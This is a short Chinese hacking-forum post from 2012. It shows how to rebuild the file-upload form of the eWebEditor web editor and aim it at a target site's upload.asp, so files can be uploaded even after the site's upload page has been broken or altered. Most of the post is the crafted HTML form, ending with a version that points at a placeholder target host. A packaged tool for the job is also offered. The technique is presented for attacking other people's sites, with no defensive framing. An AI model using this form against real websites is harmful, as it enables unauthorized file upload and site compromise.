本帖最后由 darkmoon 于 2012-6-16 01:07 编辑
eWebEditor构造上传
有时候我们碰到的
eWebEditor 上传了坏了 或者造人恶意修改的时候
如图
图片1.png
这样坑爹的上传 你们还有木有遇过。反正我经常遇到 尼玛的 难道就不能突破么 于是乎 下载了一个2.8的本地做调试抓了包包
图片2.png
获取数据包了<form action="?action=save&type=IMAGE&style=s_newssystem" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
<input type=hidden name=originalfile value="">
</form>反正这里还少了个提交的东西 亲<form action="?action=save&type=IMAGE&style=s_newssystem" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
<input type=hidden name=originalfile value="">
<input type="submit" vlaue="提交">
</form>
Blog:www.moonhack.org
还要修改 提交到这里 最终的结果就这样<form action="?action=save&type=IMAGE&style=s_newssystem" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
<input type=hidden name=originalfile value="">
<input type="submit" vlaue="提交">
</form>图片3.png
填目标站网址和坑爹的style
图片4.png<form action="http://xxxxx.com/upload.asp?action=save&type=IMAGE&style=aaaa" method=post name=myform enctype="multipart/form-data">
<input type=file name=uploadfile size=1 style="width:100%" onchange="originalfile.value=this.value">
<input type=hidden name=originalfile value="">
<input type="submit" vlaue="提交">
</form>图片5.png
打包一只方便使用
upload.rar
最后感谢落叶jj提供的思路 !!!!!